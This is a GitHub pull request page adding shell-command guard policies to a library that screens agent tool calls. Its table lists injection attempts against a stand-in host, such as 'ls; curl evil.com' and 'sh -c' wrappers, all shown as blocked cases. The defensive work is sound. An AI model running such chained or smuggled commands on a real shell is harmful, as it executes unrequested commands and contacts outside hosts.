Skip to content

Add shell-command policies and a machine-readable Violation category - #74

Open
higagan wants to merge 1 commit into
mainfrom
feat/shell-command-policies
Open

Add shell-command policies and a machine-readable Violation category#74
higagan wants to merge 1 commit into
mainfrom
feat/shell-command-policies

Conversation

@higagan

@higagan higagan commented Aug 8, 2026

Copy link
Copy Markdown
Owner

Summary

The README named shell.run in its threat model, but URLAllowList was the only strong bundled rule β€” anyone guarding a shell tool had to hand-write correct shell-safety logic. This adds the two policies and the category field from the refined spec, incorporating @newjsouza's design feedback.

ShellCommandAllowList β€” default-deny, matching structured argv rather than raw-string prefixes. Entries are argv prefixes: "git status" permits git status --short, not git push.

engine = PolicyEngine([ShellCommandAllowList(["git status", "ls"])])

Raw-string prefix matching falls to every row below; structured matching does not:

Attempt Outcome Category
/bin/ls, ./ls, "ls" -la normalised to ls β€” allowed β€”
ls; curl evil.com blocked metacharacter
ls\ncurl evil.com blocked metacharacter
FOO=bar curl evil.com blocked as curl, not FOO=bar not_allowlisted
env FOO=bar curl evil.com blocked as curl not_allowlisted
sh -c "curl evil.com" blocked even when sh is allowlisted interpreter
sudo ls blocked β€” wrappers are not unwrapped not_allowlisted
ls "unbalanced blocked β€” fails closed unparseable

NoDangerousShellPatterns β€” the raw-text tripwire, documented in the class docstring, README body, README Limitations and AGENTS.md as a tripwire and explicitly not a shell parser or security boundary. Unlike the allowlist it only blocks on a positive match, so it is safe on a multi-argument tool.

Violation.category β€” every bundled rule now tags its blocks (credential, not_allowlisted, metacharacter, interpreter, …), defaulting to unspecified so a hand-written policy predating the field keeps working.

Fixes #71

Three decisions worth a reviewer's attention

  1. The category had to reach the exception, not just the log. The stated goal was "the agent loop can surface a safe tool error and recover without treating the block as an infrastructure failure" β€” the loop catches ModelFuzzBlockError, so a log field alone wouldn't have delivered it. ModelFuzzBlockError now exposes .category, .rule_name and .violation; str(exc) is unchanged and bare one-arg construction still works (both pinned by tests).

  2. A newline was a real bypass, caught by a failing test. shlex treats \n as ordinary whitespace, so ls\ncurl evil.com flattened into a single innocent-looking argv while a shell would run two commands. Now checked on the raw string before the split erases it.

  3. ShellCommandAllowList reads dict values but not dict keys β€” a deliberate divergence from the other rules' walk, commented at the call site. Because this rule is default-deny, reading keys made {"cmd": "ls"} block on a command named cmd, i.e. nearly every dict argument would fail on its own field names. A command arrives as a value.

Both new rules name only the offending binary or pattern in the reason, never the full command β€” same reasoning as #73, since blocks are logged and the arguments are exactly where a credential or customer record lives.

Limits, documented rather than papered over

ShellCommandAllowList treats every string it sees as a command (a policy cannot know an argument's name, so a second string argument like cwd is judged as a command and blocked β€” it belongs on an engine guarding a single-command-argument tool), and it governs the command rather than what the command then does. Both are in the docstring, the README section, and Limitations.

Test plan

  • uv run ruff check . / ruff format --check . / mypy --strict src/modelfuzz clean
  • uv run pytest -q β€” 277 passed (122 new), no changes needed to any pre-existing test
  • New tests/test_shell_rules.py covers the four criteria from the issue: quoting variants (whitespace, quoted binary, absolute/relative/traversal paths), nested containers (argv-vs-command-list distinction, dicts, sets, bytes, cycles), interpreter and wrapper invocation (sh -c, bash -c, python -c, perl -e, pwsh -Command, env, bare assignments, sudo), and fail-closed behaviour (unbalanced quotes, empty, assignment-only)
  • A test pins the tripwire's weakness (a binary outside the table passes) so the "not a boundary" docs can't quietly become false, and asserts the allowlist catches what it misses
  • Ran every README and AGENTS.md snippet end-to-end, including all eight table rows β€” output matches the documented categories exactly

CI may be red or stuck on runner acquisition while GitHub's Actions incident continues; everything above was verified locally.

The README named shell.run in its threat model, but URLAllowList was the
only strong bundled rule -- anyone guarding a shell tool had to write
correct shell-safety logic themselves.

ShellCommandAllowList is default-deny and matches structured argv rather
than raw-string prefixes, because textual matching is defeated by a
leading path, quoting, an environment assignment, a chained command, an
embedded newline, or an inline interpreter script. Each of those is now
refused, and unparseable input fails closed. An inline interpreter
script is blocked even when the interpreter itself is allowlisted:
permitting sh must not silently permit everything sh can run.

NoDangerousShellPatterns is the complementary tripwire, documented
everywhere as a tripwire rather than a boundary.

Violation gains a category, every bundled rule sets one, and
ModelFuzzBlockError exposes it -- a block is a policy decision, not an
infrastructure failure, and an agent loop should be able to tell them
apart without regex-matching prose.

Fixes #71
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Add bundled shell-command policy (e.g. ShellCommandAllowList / NoDangerousShellPatterns) β€” URL is covered, shell exec isn't

1 participant